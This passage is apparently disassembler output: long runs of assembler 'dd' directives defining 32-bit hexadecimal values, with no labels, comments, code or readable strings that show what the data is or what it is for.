		dd 6800C48Bh, 47871C65h, 7851BDB8h, 0AC1F1C5Fh,	2F9900C0h
		dd 0F2D7D5F9h, 0DE521700h, 0D38054E9h, 0DBF700DDh, 9773C90Fh
		dd 8F981C4Bh, 0BE19A0C0h, 0EBA08A2h, 14C28DF0h,	0E92104h
		dd 5839DBAAh, 0F16B0357h, 6718F609h, 0DEADA5A8h, 3863701h
		dd 66E57CA6h, 4E898887h, 0B4A0F0DFh, 0DD18FC8Dh, 0E818E6F8h
		dd 0EB3803E1h, 999CFDCCh, 0A8A3CDE0h, 5651A61Dh, 0C779B203h
		dd 8187E847h, 0BBEF00E6h, 37E27031h, 92229F8Ah,	0AE080083h
		dd 82FA2F23h, 0FB384446h, 31648112h, 0EFFCC440h, 756ABF40h
		dd 0B4951870h, 0E541F894h, 0F269D81Ch, 7FFAE88Fh, 63FD488Eh
		dd 0C0E30C79h, 20A27Dh,	0B5F64F8Ch, 0E1397074h,	44A7A800h
		dd 90C4C3FAh, 78BF3035h, 7CBED260h, 36FFD703h, 0F89C1FD5h
		dd 33AF007h, 4C326901h,	28215E30h, 0DE4528FEh, 11089129h
		dd 98080BA0h, 0D1DD41Fh, 56FB1062h, 2224110Ch, 7C0E1111h
		dd 841728A0h, 326A4004h, 8E427D98h, 6500EADEh, 90E13Bh
		dd 8822F7BEh, 81C5978h,	85F02D00h, 33D8DF9Dh, 1F813E17h
		dd 90A41580h, 82248C0Eh, 0B683C000h, 0F1FB2D8Ah, 56753C31h
		dd 0FD55E300h, 81DD5ECDh, 8A8F6400h, 19141002h,	0F891009Ah
		dd 7ADC8CF3h, 69009B6Ah, 4EFC70F7h, 0F8B2B631h,	0E663390Eh
		dd 0DE337C03h, 0E60160E2h, 0CB34674Eh, 7FE4F017h, 5E3E0095h
		dd 71671E9h, 8E009FD0h,	0F2A3DE22h, 905C7E3Ah, 0F0F70044h
		dd 0B97A03CFh, 8D00CD82h, 2A9C376Ch, 0EDFB39h, 6709E96Bh
		dd 0FAAD8A9Ah, 22127F02h, 406AEEAAh, 0F8E7647h,	0CAA19CEFh
		dd 18D5D7A6h, 38F3201h,	0D3736E10h, 80D4F6E4h, 2100F945h
		dd 0B24C72C5h, 0E8D10F74h, 27680078h, 46F4FA2h,	9E092D5Bh
		dd 0F46FB15h, 0DFF480D9h, 25E1A29h, 0CDFF103Ch,	0E077AFDBh
		dd 1898BEh, 0BD0FF0A8h,	8DE72D8Fh, 1CA90C1h, 0ACEC08E0h
		dd 23883A67h, 0AD2AA580h, 0B06BF125h, 0C9DFF850h, 0BFE53601h
		dd 7ACAAA0h, 0BED8BBCDh, 0FE5900FCh, 0AD287DEAh, 70001C4Ch
		dd 0B73DE962h, 0F618A64h, 0CFF49D22h, 0DC3CCBA0h, 590018B1h
		dd 8B25D23Eh, 0B4848Dh,	0BC7C5D68h, 3133B222h, 9EF41800h
		dd 0DF0B9C86h, 3BC7006Bh, 273ABA5Dh, 4400922Dh,	3823FAE0h
		dd 2CC28098h, 0ADBC0Ch,	91FF4783h, 0FC090E4Bh, 2050B663h
		dd 85F1B0D4h, 0DDB40045h, 3EF7FB13h, 0B51B7D84h, 76B0024Dh
		dd 0DE4E0788h, 0D0EFF347h, 0DB8548A1h, 81651300h, 0E9B29D9Ah
		dd 1E3000B4h, 49AFF86Ch, 22002034h, 11566158h, 0BDA814h
		dd 310BC76Eh, 9065ABE0h, 0B2D8B904h, 18C0D187h,	98DAD0h
		dd 688B3E4Fh, 0A6494DCh, 10B5E704h, 0BC8032F2h,	0F9E890h
		dd 6EECF8C8h, 0CF3CC9F6h, 0ABD9DF00h, 0A39F662Dh, 0B71F0056h
		dd 0C0629EFDh, 0F8002536h, 70DC8A61h, 76E50B8h,	0A7D8C3D6h
		dd 623F908Dh, 0DB008BCEh
		dd 63837AA1h, 64742h, 0AAB1464Dh, 8E41EA88h, 2A509D07h
		dd 74869492h, 9853006Ah, 0EC0CDDD2h, 46004983h,	0B8C85673h
		dd 3FDD077h, 0DB753F22h, 0EF40FAh, 1E19A7C0h, 6C397105h
		dd 0AB00998Bh, 0F09B3A01h, 8772EC3h, 3DC40EFEh,	51B3DD60h
		dd 0D900962Dh, 0B40462E1h, 6D365Fh, 82AB6429h, 7AD6426Eh
		dd 0DB18ED00h, 9A994E0Eh, 0BC3C00A8h, 3A677565h, 2E1D01E4h
		dd 9403C038h, 7624DCFh,	18027DA2h, 26F850E9h, 0F4006B12h
		dd 484DCB7Ah, 0C905E3h,	0E20F46CDh, 329A80Ah, 11B3AE00h
		dd 0D7654F5Ch, 0F47D01D2h, 0BCE72BEBh, 0A4E3F8A0h, 0AA9D060Fh
		dd 0F1FDE0C4h, 3F8901EDh, 32801660h, 22C62E77h,	0FB00DA4Eh
		dd 0FFAAE79h, 0FA52C52h, 0FD056A95h, 0D71A2F00h, 0C3008469h
		dd 0C7FA4C21h, 0F6B7361Eh, 0C01D1C24h, 3330117h, 0F5F2396Fh
		dd 0AFDF400Ch, 52002EC9h, 0CBA7DE3Bh, 0E479C2Dh, 175CF49Eh
		dd 9080532Fh, 0D4976A16h, 436C3800h, 0C4E8861Eh, 662600C5h
		dd 0EE8B730Eh, 640337CDh, 5392D1F7h, 8C6FA01Fh,	0EFC800C9h
		dd 0F7A819Bh, 2E008EBFh, 91A7B35Ch, 960D97h, 23F24485h
		dd 3F0CD693h, 0AB8CE800h, 35A87550h, 76C6F813h,	1DEA002Ah
		dd 0FCCEC836h, 0F400D29Ah, 98F00365h, 13B527A1h, 1734A0h
		dd 9A389E59h, 0D200934Bh, 0AD9FFB24h, 0F297C6C2h, 33FC70h
		dd 86C09AFh, 82C425EBh,	4CDD9900h, 910C84A1h, 325300F2h
		dd 0C1465518h, 0B20EE774h, 60193ADFh, 6F9E95DCh, 2E3D033Fh
		dd 0F71B9892h, 8944F8D0h, 3E43801h, 49ED55Ch, 0D8C7F4h
		dd 0D208B56Fh, 0BC944905h, 4A937F01h, 0F694B50h, 7D91CCh
		dd 1DB78673h, 6B7688F3h, 2BE10400h, 0DC4E0664h,	57680069h
		dd 3080893Fh, 3F619B0h,	5C2F5E00h, 3DDF64BAh, 0E7330012h
		dd 0C83BFC06h, 32F024F0h, 806CE307h, 0EE1186h, 9B4C691Ah
		dd 0EFA01EEh, 9C4E16A0h, 7CAC40E8h, 6109B83Bh, 85426FF2h
		dd 0C3C059C8h, 7B6258h,	0D09AD66Ch, 41150E3Dh, 717D7400h
		dd 0F163FE6Bh, 6D86000Ch, 0BDDAE272h, 2700DB83h, 96559E9Fh
		dd 0ECE090DDh, 0F3280003h, 3D75D4A9h, 3500DAE9h, 0A66DAC93h
		dd 7649CE79h, 677177h, 5D18F732h, 0FE6914E8h, 0E6074700h
		dd 663AD3E4h, 0AC73A3h,	8C6ADFDDh, 0E22FBA18h, 36F4DE00h
		dd 96B2F2B5h, 93800035h, 418F8A59h, 84904D12h, 56704F00h
		dd 0A46B7F90h, 0BF16055Eh, 99870Dh, 2462B780h, 0FFFC1E95h
		dd 3AA1F00h, 47029ACFh,	648B26F1h, 4B9E039Ch, 3E9896F8h
		dd 15EAB4EEh, 0D20049E2h, 6F9B020Fh, 3973F4C8h,	0FA800D50h
		dd 3190C332h, 68001955h, 0AB32404h, 3FA7F1h, 335927C7h
		dd 1C9A6F11h, 7D09AE3Eh, 67CDF900h, 0B1A1F313h,	30F40057h
		dd 28A58E45h, 4E3D2D2Bh, 3144915h, 30F7B3EAh, 3368B88Ah
		dd 0B77695h, 9EBAA316h,	0DBBCD4E2h, 66656400h, 6C5F572Eh
		dd 128E246h, 9CB3AB10h,	0E0EA3E50h, 47002184h, 17D96470h
		dd 3C0392DFh, 989DBF2Eh, 0A63301AAh, 0E0CC4353h, 0E1EC1F27h
		dd 5CA0BE00h, 21D008FDh, 4CA102FEh, 0BD26EA2Ah,	3B959C80h
		dd 68747C12h, 0B03C27Bh, 9CE841EDh, 5BCCE093h, 0AB8874FBh
		dd 0F0ABBBC0h, 2C1E75ECh, 6B6DF1h, 31507B3Ch, 6373FB40h
		dd 2267150Bh, 6B70010h,	0C53BE5h, 4198D545h, 726C816Eh
		dd 40C99437h, 1447C70h,	1E761C8Bh, 0CC0340FCh, 3B1B326Fh
		dd 0B91BC00h, 34B66CC2h, 83640FA5h, 0EE40F188h,	842B1ADDh
		dd 0AB765700h, 37B304BFh, 0F59100C6h, 1ED6194Fh, 4B0040B1h
		dd 988558DAh, 50965909h, 0B1AE05Dh, 0CFAF694Dh,	6FE79B80h
		dd 8A0EEAD7h, 1E5A5C27h, 0D8377580h, 7CFA8B7Dh,	0A1C00024h
		dd 99DE346Fh, 400323F1h, 15D1B860h, 3F58090Fh, 2D00B247h
		dd 0A3EEA698h, 640E100h, 8BD7DCE9h, 804100B9h, 0BA88A25Dh
		dd 0A300C66Ch, 3E8F95C9h, 0C26097h, 237D1AF9h, 0D689A134h
		dd 1DDE9B00h, 29704E25h, 56D20302h, 778A288Dh, 0F3156CA8h
		dd 12D63D00h, 0CAF6819Fh, 0F0D1381Ah, 0BAE1940Dh, 0C4E1EA68h
		dd 8DC6F0D5h, 7D878300h, 6BF0AD27h, 171100EFh, 4048F39Ah
		dd 0B60058B0h, 19665A4Eh, 5C305Dh, 8788C7C5h, 802EF913h
		dd 0DDC9903h, 0C8910943h, 3DACEDE4h, 2880C864h,	344EA2BCh
		dd 14000AF4h, 1CE916C3h, 9CB9D7h, 0DA6585E4h, 0A3784F7h
		dd 1A55E600h, 8F807222h, 15DC00D5h, 8396B9A6h, 0F00D9FCh
		dd 57B2E0CEh, 7D7325B4h, 399F164Ah, 0B1B5E042h,	8EA6100h
		dd 0EB659589h, 5C1C0E73h, 602038CCh, 4EBB7CC0h,	0CBBFB300h
		dd 54124CE1h, 0D4025076h, 0F943005Ah, 29F0202Fh, 0EF3BA8E5h
		dd 74619FD8h, 3F5E00FDh, 0EE607017h, 1D6E00B1h,	9259E2E4h
		dd 0CA1CBB16h, 0AF80FC56h, 0C8F8BDAh, 214016Ch,	0F9EF1F3Fh
		dd 0A726CCA9h, 8F0EBDB2h, 0EF1977B6h, 7E6A20AAh, 0BF519Dh
		dd 401DD612h, 0F447AFCEh, 0F5671405h, 0EB80866Bh, 0A64D74h
		dd 1EF18F98h, 0EBC9957Bh, 632A4216h, 0FE711300h, 67D7515Ch
		dd 0B58890F9h, 2DE421E0h, 3853E8BFh, 0AFDB7900h, 2F248E07h
		dd 8D4F00FDh, 8262D350h, 0AE001380h, 963261A4h,	73137B1h
		dd 0C4D93936h, 302087D7h, 7FB955BCh, 25008FE6h,	33E00E7Ch
		dd 0F50E307h, 0F05908DAh, 0DFB13521h, 644BDC71h, 3C55F324h
		dd 0A4517800h, 131ED6Bh, 2B67F6Eh, 0FCC825ECh, 720061E6h
		dd 7918F374h, 3B5B95h, 0DD8C980Bh, 96C28D5Ah, 7C845F1Dh
		dd 5E9A4Fh, 0B3F00C5Ch,	0E4EB03E5h, 71B91D1Fh, 5D0B1426h
		dd 0BF4AB700h, 6E1CE8h,	229EE7FAh, 0F70D1D93h, 8487B824h
		dd 0A797AA00h, 0D1670Ah, 1FE2943Ah, 65DF556Bh, 293F0703h
		dd 0C0F566B4h, 31B5AAh,	49041317h, 0F42DE8C5h, 0BB609A63h
		dd 7384C097h, 0E560022h, 0C5ABFC96h, 0EE0088D2h, 44E58079h
		dd 2E3B41h, 0B66A5E60h,	5ACA5210h, 9933A100h, 825D34BBh
		dd 3E6B0055h, 0E2BEC0D9h, 0C2009ACCh, 0B3E8FDEAh, 0A9FA7Ah
		dd 0DB0D47C6h, 2144909Bh, 0FC9083FAh, 20305A00h, 0B282B10Eh
		dd 436008Dh, 45DDA5E7h,	5E752F92h, 0BB72BA00h, 0C8A7FEB5h
		dd 0C6E6DEh, 0D40428Fh,	73E0A082h, 0A1C32100h, 5C10A299h
		dd 0DDD0FBB9h, 3F9E076Bh, 930B076Ch, 20D04C64h,	0B1A0405Ah
		dd 0DA001727h, 38A6FCA2h, 0C1AC5Ch, 46B080A1h, 2470784h
		dd 1E04A33Ch, 820078FBh, 9FA274E4h, 31CF385Dh, 0F8412080h
		dd 892F092Bh, 0B8A7A900h, 9FD5AEBFh, 764B027h, 0F9924F4Ch
		dd 53C9C0C5h, 3E00E61Ah, 0F23F21BCh, 7003DEA8h,	39860068h
		dd 0A3C2D4Eh, 0FB00E87Eh, 0D7840FA0h, 39336B2Bh, 17804B75h
		dd 673B6068h, 6301DA90h, 2737789Fh, 0FF822F2h, 1EAB7FA3h
		dd 0C25288h, 0EDA9D5E4h, 0E8737D25h, 74B39900h,	603F4A93h
		dd 9667019Bh, 0A46EEA1Fh, 8DBCD4CFh, 0DD599F01h, 2107C1C4h
		dd 0E88A8C43h, 1D4B76h,	305806D4h, 0C759A2E9h, 0B0A8F000h
		dd 8AAE0DEBh, 8BAF0088h, 0BEF842E4h, 0CA016F96h, 0C67FC2F7h
		dd 0FC01A5Bh, 0FE81F676h, 0EF983Ah, 32A716A3h, 0E4DD540h
		dd 88B06304h, 0F7858545h, 0F657A700h, 3B26Fh, 1DFDAFDCh
		dd 7BCE4E8Ch, 4866AB00h, 0F19D8D62h, 0C20F0068h, 9FFB75Dh
		dd 86036E08h, 158F7887h, 40678082h, 0D100085h, 0FB6F60C2h
		dd 0DF00A99Ah, 0F48A8445h, 82F2C3h, 22033EF7h, 6FBED18Ch
		dd 685B6300h, 0D36B37Fh, 3D4F01D8h, 0D2E46573h,	668AD84Ch
		dd 7BF9A405h, 2C0778Ch
		dd 12D7A80h, 0A7E2891Fh, 70B3CBF0h, 0BA00AF51h,	41DB5DAEh
		dd 7CB287D6h, 6D4303EAh, 261F1BF0h, 0ED691A88h,	0DA7EC203h
		dd 9036FA52h, 3DAA68B5h, 28F4C0F1h, 0C0FAAE9Bh,	0D0CCF9F0h
		dd 0DD0248B8h, 0C54FD77h, 0F74360A1h, 39944C21h, 9A7EC400h
		dd 40787AE3h, 7F109301h, 8B5EAA7Bh, 3C4394FCh, 268074A1h
		dd 150A9744h, 0AD001AFAh, 3DA42EFDh, 245340C8h,	8B88A516h
		dd 97009B34h, 0A856DC06h, 6803E774h, 0B9319317h, 481CF9FBh
		dd 0CB3CC8h, 85FDC02Dh,	0E01765D9h, 3F097100h, 20F8356Ah
		dd 8DED004Eh, 62B0AD41h, 94001610h, 0CD2622AEh,	7A2C383h
		dd 0A37AD4BEh, 0ADC48001h, 0E5E8E7CAh, 0C1ECCB06h, 0C13E0C82h
		dd 9794EE21h, 0E8388381h, 0C8FFE775h, 1F6BE6CDh, 0F69EA1Bh
		dd 1600BD96h, 0B5688E7Ah, 3B017300h, 5767E407h,	4A500017h
		dd 0D79F0A8h, 720020EAh, 0B84CDCD0h, 44F1Ch, 0ED18148Dh
		dd 0FF5107F6h, 9E0ABB18h, 0C0A2980Ch, 94173E89h, 0EA3FC18Eh
		dd 0BBB0091h, 60390E4h,	30B5B0DAh, 11E03FE0h, 0CE03F858h
		dd 0A6D85466h, 0C616A8EAh, 0CB7F002Ah, 0F97CA46Ch, 4C00A9F2h
		dd 229B82B9h, 19916Fh, 83A78B92h, 0F385B753h, 4921B600h
		dd 7B9409F8h, 93FC55h, 0CFDC34EDh, 0CE876B73h, 3FD23E1Eh
		dd 4A38F540h, 578253h, 0A0501AF0h, 0A7C0F4A6h, 87D4FD00h
		dd 3022C815h, 0D0FA75h,	0BF0E76C3h, 74010DBh, 0CAAF3Bh
		dd 3324C7A6h, 16A1984h,	138E8728h, 30E9E3BFh, 0DA003923h
		dd 86EDF90Bh, 8CFC6Dh, 0F1BFC420h, 0FBCECAE7h, 0ED21800h
		dd 1A15DDA9h, 0BA5003Dh, 6BCB0D46h, 0DB0543CAh,	4463B8A3h
		dd 2E3AC42h, 9D004052h,	0EE7B0277h, 91CFCAA7h, 520A8420h
		dd 38580080h, 2B2D9DEh,	77097116h, 7C178Ah, 0F559A10Ch
		dd 1F31E088h, 87CBD5ADh, 603BAA1Bh, 0D3616550h,	6FB29C00h
		dd 0B08BB34Ch, 2D73ACh,	9D211E51h, 0EF9EB97Eh, 0F22F5F05h
		dd 668073B6h, 0F1ACD4h,	0BBB07DBCh, 27B94B8Eh, 8F68EF1Bh
		dd 0D2C3A820h, 59621409h, 40B020BBh, 8684B9h, 691EB30Eh
		dd 5FEE19A9h, 72144E00h, 533733E7h, 0C2D31B6h, 0A718E808h
		dd 12DF7620h, 0C42C00CFh, 5A1CA206h, 19AE6103h,	1A72E37h
		dd 4D3F3348h, 70B45BD9h, 36032F48h, 870280F0h, 31EE7Dh
		dd 0C8116D18h, 0E69CF7BDh, 8FEBFC00h, 8C0423A7h, 90E0300Ch
		dd 3F0AEE28h, 0DC75F400h, 8BB9B3FDh, 458F0E11h,	3DC0746Eh
		dd 88EF2E02h, 9BD01C01h, 6F78DEF8h, 0FFAEB08Fh,	5E8F50A5h
		dd 70390088h, 191B240Ch, 33FA9507h, 0A74694F3h,	28740321h
		dd 4542D80Ch, 0AA1E9DE0h, 0DC038B2Ah, 60F8AD28h, 700735F4h
		dd 0A541F6D9h, 0B03E9E8Fh, 8E3178B3h, 37A3039h,	68A6E9C0h
		dd 0ACB53718h, 103F10h,	80CA3DDCh, 42E22C12h, 0FA6733EEh
		dd 0DB607421h, 7C7A4DE3h, 309202DAh, 0AE65F603h, 2608289Dh
		dd 8B9B60A7h, 0F500C384h, 0BA897D90h, 60B01E61h, 0B98ED132h
		dd 74E00B67h, 78A0460Ch, 6E8B0853h, 51402062h, 9610E66Eh
		dd 0F4FE0D00h, 0E0D5DCB4h, 2899C08Fh, 81AF179Bh, 4A006EFEh
		dd 0AC433C2Eh, 7EE42BCBh, 607BFEC6h, 5157156h, 8EFA2471h
		dd 0D4028598h, 52459884h, 5C4C41B0h, 0ED72E419h, 52873210h
		dd 0E421D1CCh, 6D720B00h, 7E466B97h, 0C92501CBh, 0A37D336Ch
		dd 7708060h, 8F4431FEh,	304A5C13h, 0D6E70071h, 67BFDDD9h
		dd 571B85Eh, 5D0D34FAh,	88B78F60h, 720A30EEh, 6735B908h
		dd 4FD06453h, 907280E8h, 111B2A4h, 0F74C79BAh, 24238F13h
		dd 0AC019448h, 84B54EB4h, 9CE80DDEh, 697400F8h,	8A565507h
		dd 7B00BD51h, 0DE24B90h, 21411A3h, 0E8913879h, 0FCB009A6h
		dd 703FE11Fh, 8F8D1CAh,	0F88B25FCh, 2A25917h, 3A603606h
		dd 0E440FA5Fh, 0E5E4A675h, 9215147Fh, 0E06962h,	3AF61B5Fh
		dd 0A4B9A04h, 0BA73365h, 0DC1D4038h, 0C824CA4Eh, 25583469h
		dd 0A8DB0228h, 676A1E9h, 59001043h, 0E2504AA2h,	1D1D336Dh
		dd 80A44C5Bh, 9FAAF3A0h, 0B32B1147h, 0F01B463h,	0FF32A872h
		dd 4388D218h, 96720404h, 0C83786DFh, 1C03F514h,	32A2EACBh
		dd 88B08B5Dh, 474B12Eh,	0D29E7ACAh, 0F8CE8072h,	0DB0578F3h
		dd 61B30F9Fh, 72113C21h, 67F632D5h, 0E2E90080h,	7A3F2271h
		dd 0F645E49h, 802310C8h, 9F0CDFADh, 96900024h, 0ABFEE4CBh
		dd 0B000CA34h, 51262C98h, 0FE807887h, 58403EB8h, 0B93CF881h
		dd 237B1461h, 6CCF00C4h, 77C3D695h, 0A320849Bh,	0BEEC0060h
		dd 11D57F6Ch, 5C9A7794h, 7B03E898h, 0CEB32552h,	44D105A1h
		dd 0C0DB13D3h, 0B710E427h, 5E023900h, 6254983Fh, 5D3E14E2h
		dd 2DBCF434h, 0EB99008Ch, 2BD7673Bh, 0FF0114FAh, 658E2FB8h
		dd 5432A6BDh, 12000E23h, 30CA4FDCh, 25448674h, 5558C3F6h
		dd 0C100A46Ah, 0BA79042Eh, 90DAB671h, 0E2D88514h, 0C1B19D2h
		dd 15E0FD6Ch, 39E8B669h, 708A5Ch, 0D5F1A82Ah, 7EBC1h, 5403943Ch
		dd 916B7836h, 0B0B4252Ah, 0E5D7A618h, 4926DED9h, 7129E858h
		dd 840300DCh, 51286D0Ch, 39498F30h, 30A052h, 0F27EF334h
		dd 0FF58D550h, 4AFC6816h, 539F8D01h, 0DDEEA10Fh, 0DBF0D463h
		dd 0F57D8538h, 0AFB01005h, 3C849388h, 3CC0F4C4h, 31A0BF87h
		dd 36797020h, 0F8B050B7h, 5D3F0777h, 6FF98362h,	0F37815A4h
		dd 0C8214033h, 26028C0Ah, 10CA4BE1h, 132E1917h,	0E15C9892h
		dd 4B7400FAh, 16993031h, 943320DFh, 0B858E19Fh,	4807B5D9h
		dd 0F00052DDh, 765102E8h, 2E5290FCh, 26220794h,	39DC95CCh
		dd 4E5E00CEh, 8C6D61C4h, 0F9008094h, 183D1F75h,	2497DAh
		dd 214B8860h, 7D2AEE07h, 2C4D9988h, 97B4FEEBh, 10602F10h
		dd 0BEC11AE4h, 4774C35Eh, 89CB40B4h, 0CC58C07Ah, 1CB42EE4h
		dd 188EE662h, 12020C4Eh, 0A629E91Eh, 43502434h,	0D00C565Eh
		dd 6D4CE3Fh, 0D2D7A51Ch, 0DF7798ADh, 0BE399215h, 86200BCh
		dd 75782209h, 168739E2h, 0E1372384h, 5B2A00A6h,	30B621F4h
		dd 0FF615E95h, 2B3A7A88h, 435900BCh, 0BBEDD5D9h, 64D6063Bh
		dd 88C2297h, 7821CF65h,	5F980BFh, 0E900EA0Dh, 1A3672D5h
		dd 3BA765h, 3129090Ch, 524D472Ah, 370027E4h, 89394004h
		dd 0FF3CE59h, 58EC065Fh, 1943589Eh, 8815018Bh, 442CD6h
		dd 3CAFED29h, 843B13B6h, 0FCCE44h, 0CA52ED21h, 0F2EE2FE0h
		dd 797BDAFCh, 4430AF18h, 7C62A58h, 7647C703h, 0D0E1C71Bh
		dd 15E22ED1h, 32042100h, 0A0753E3Ah, 1EB477EAh,	0C097DB95h
		dd 65F23F48h, 0AA072BF0h, 0BEAB2CB8h, 6E565080h, 0E8F40134h
		dd 0A7F00B7Dh, 5C98FBFFh, 0FE024205h, 44D102CCh, 0DC24C08Eh
		dd 49EC0067h, 0DE5A2BD6h, 810F533Fh, 60270B5Ch,	3102EEE5h
		dd 778F07F1h, 7EB12FDh,	48064603h, 0C94DE00h, 0AE13C143h
		dd 5ED03C10h, 53005C3Ah, 8C6A6B92h, 300FBEB4h, 4C09CC14h
		dd 5E38F0h, 6875D041h, 349E9FB0h, 0CD11D600h, 4454FB4Bh
		dd 0F57600B2h, 0F1E5FA01h, 8BECDCD1h, 7C146E01h, 7FBD2F5Eh
		dd 51C00880h, 95860B2Ah, 0C5874B0Fh, 3043E049h,	0F68CD3h
		dd 0C7BFFC5Ch, 333B993Dh, 0ED4C6E26h, 97DCBC07h, 4100D777h
		dd 7D440Eh, 661D7C90h, 0E08BAC45h, 0CDD4F300h, 0C4E701B6h
		dd 0F80E21Fh, 0EECA553Eh, 5F159FE0h, 3A00C378h,	0F8444B5h
		dd 770DC7E7h, 5C6B0050h, 0ECF56325h, 0B0E6E68Eh, 9CDBB101h
		dd 0A4EB61E0h, 544D8h, 702A4749h, 64907497h, 6A7C737Ch
		dd 5CFB5B00h
		dd 4542DF76h, 2D7900B8h, 836E0DC9h, 0BA011B37h,	0DCF8481Dh
		dd 3DE4BFF0h, 5DC7009Ah, 44517291h, 7021864h, 0F4CCA253h
		dd 2F5140D1h, 73DE01Fh,	402229FDh, 6FA243FEh, 0BD460BB8h
		dd 0B700207Bh, 63A3DE16h, 50EF30C6h, 0E31C0F5h,	552F51C4h
		dd 8DBE5C63h, 0EED7091Ch, 14CB2900h, 1EBA43Dh, 754B3ABCh
		dd 0D8D82807h, 5A001CF3h, 0C9163C29h, 0C03FF6Dh, 52195530h
		dd 9D0AD148h, 0C046839Eh, 0CFAA2D00h, 76FDD6h, 0F5F09958h
		dd 5D26DF6Eh, 51BF6C0Eh, 2EB500A8h, 50034D3Ch, 3A38A7E4h
		dd 0C6092BDh, 7F93C47Eh, 12536301h, 0C64D5BD8h,	68254CCh
		dd 41E051CDh, 240040E1h, 0F6346095h, 52B29Fh, 661455Ah
		dd 2C9BD1C6h, 6485DB00h, 0A0F089F5h, 539E1A16h,	0F20A7821h
		dd 0AC650024h, 0DC42A159h, 402FD000h, 0AB929913h, 18EA0050h
		dd 70DB2A1Ch, 0DC18F7D6h, 0EF2042A4h, 755100C6h, 0DE8D56C1h
		dd 77078EACh, 5BC2B0D3h, 2642A951h, 4AD2848h, 0CC183850h
		dd 25BF32C8h, 0BACE006Dh, 5D0BA072h, 2EDA040Fh,	6257E3D6h
		dd 1644908Ah, 68A91E85h, 66F3C0E4h, 0DFE55D90h,	5248924h
		dd 835F0700h, 8A1BB1h, 989654D4h, 54ACAF2h, 916D6A00h
		dd 753427B3h, 4F22002Ah, 0C32BE4A6h, 0C5004745h, 1E98916Eh
		dd 294D2366h, 61204E8Bh, 0C236ED5h, 51A200CBh, 0E7D43970h
		dd 12004BFBh, 5A3F299h,	1D95EF6Ch, 40F51D2Fh, 0BBD4B5CEh
		dd 0F7038A63h, 76455449h, 41310582h, 71406B0h, 105D5198h
		dd 0D2F842E1h, 0F345B800h, 99A832A9h, 0D1B00038h, 5010DC51h
		dd 29C48E36h, 0CD445C2Eh, 4615DEDh, 9F2A64Ch, 28DA0C0Ah
		dd 92B2203Dh, 2256D922h, 0A67B9A7Ch, 89BF2088h,	10DBC015h
		dd 84E01F00h, 23B64AEFh, 0E687613h, 0D67B8E6Ah,	53B10240h
		dd 0CAB8323Bh, 8087083Bh, 0FD946C46h, 0EB7288h,	7F826D20h
		dd 0F6981DF0h, 4900BBB0h, 6CD53D32h, 0EAB78D77h, 5AD60030h
		dd 0A7CD7A08h, 0BD1356D8h, 110178DCh, 9BF4CF22h, 8AC6F8h
		dd 727C216Dh, 75CBE366h, 0EDBC8900h, 0A3E7F8C8h, 26DA03F4h
		dd 0A61C774h, 807B81D8h, 0AC5B623Ah, 0EA070FBCh, 0D34133D7h
		dd 48206AF7h, 3AD50CF2h, 18303E4Fh, 3B0427Eh, 3D09507Fh
		dd 61D97Bh, 2319D0C8h, 0EB4C00D7h, 0B0F3ECA8h, 4233EFCEh
		dd 92FE50C9h, 0E4E000B7h, 4006E93h, 0AB9A90EDh,	6505DAh
		dd 1976FB82h, 5522A89Bh, 1E8AB900h, 0EAE2C887h,	1D5800E6h
		dd 83237564h, 84074FCCh, 8D0B2FFBh, 388E73C0h, 25F201F0h
		dd 897C7DF5h, 0B522C821h, 0B3EFE700h, 0EC249A16h, 56D6001Eh
		dd 0B9940E8h, 7B00EE9Bh, 8B071593h, 622CAh, 2ED2A80Ah
		dd 8E428756h, 0B8447D00h, 193468E4h, 0F26F00E8h, 52057B9Bh
		dd 1707AF61h, 3E250FC7h, 72F4C490h, 201900F2h, 7CBFD6ADh
		dd 0F072128h, 1B8E5CABh, 88B4B793h, 0E5D65E4h, 6B456723h
		dd 0D7A70E23h, 0EE263103h, 79D22029h, 8D140311h, 0A75F6903h
		dd 0B970B488h, 0CBA55200h, 5CE556CFh, 0DF9B0062h, 0A8956A5Dh
		dd 3639B279h, 41F31CB7h, 78AC5C40h, 0D25B74h, 950CEC20h
		dd 0E2F963DEh, 0A8176E00h, 0CF6B42B1h, 0E6B302F8h, 1621F2E8h
		dd 92A9DFC0h, 0CC39E500h, 318CF53Dh, 981300C9h,	0AB0AF122h
		dd 3E07E0AFh, 69E610Eh,	799167FFh, 0C1663370h, 70CB0004h
		dd 0CA8C71A3h, 20904C9Dh, 0D6A1CD0Fh, 3C61C067h, 7E3F3DF8h
		dd 8E6600B9h, 45BF6FBh,	5000C448h, 42322F97h, 3C9503B8h
		dd 0ED8059E8h, 906E3C20h, 0B400E4FBh, 78E1D954h, 24D7D3F3h
		dd 1E348856h, 1B262135h, 3BC15703h, 0C9BB80h, 0CD97C8F6h
		dd 374E0D39h, 9F836003h, 985675D5h, 2E22BBh, 0A85A852Ah
		dd 42A07012h, 394E7E00h, 0CC586494h, 0D22300A2h, 0D192EF35h
		dd 13005D17h, 88CEC2F3h, 1CB2E3h, 5C467427h, 0A3F13B85h
		dd 0EC1CD577h, 2A4B6570h, 41778066h, 846795h, 0E9BC35ACh
		dd 0FDEB0B27h, 0B660FC01h, 7169BEF3h, 1E9DE020h, 4002F49Fh
		dd 0F61DCE40h, 0EE00807Ah, 38E6B2ECh, 7FC5D6h, 22610A71h
		dd 66AFD48Ch, 0CA12F0Eh, 94A224E2h, 6260E4C0h, 58B300D1h
		dd 8AB1CF14h, 0CD007365h, 0BFD974BDh, 0FED41CBh, 6A4EEF98h
		dd 8830C03Eh, 1CAD477Bh, 3350A300h, 0DB9E2E85h,	577AEAh
		dd 0E1528B77h, 865A88C7h, 13F52D00h, 433FC537h,	93E60047h
		dd 89077650h, 0BD3D12D2h, 0C83328D3h, 36D1592Ch, 0CD480800h
		dd 7E94985h, 5CCC09AEh,	0B7986144h, 0C4A6215Fh,	951C0E6Ah
		dd 0AA5E32D1h, 0C655BC0h, 0E96DFD0Bh, 3AB4C8h, 16147580h
		dd 0E091CB5Eh, 0AC4558h, 909A85E6h, 0BC077Ah, 6F10F172h
		dd 1E0F1615h, 75EF3Dh, 0C069CA88h, 98A21Ch, 31618CB8h
		dd 29DB7B0Fh, 92169F03h, 0F8368693h, 0F26A47F3h, 58E760F9h
		dd 0BEC7A541h, 881B8726h, 85E4E800h, 7E1FE6h, 0B7D753C3h
		dd 2ADA6E77h, 0C4A090F2h, 0E54D2657h, 32F000ACh, 91F46AD2h
		dd 0EB20002Ch, 0FAAEC0B4h, 0EA000DA4h, 69F9EF4Ch, 808DA66h
		dd 0BBF014A2h, 8ED85406h, 94E250h, 0A9B8D543h, 0D91E266Eh
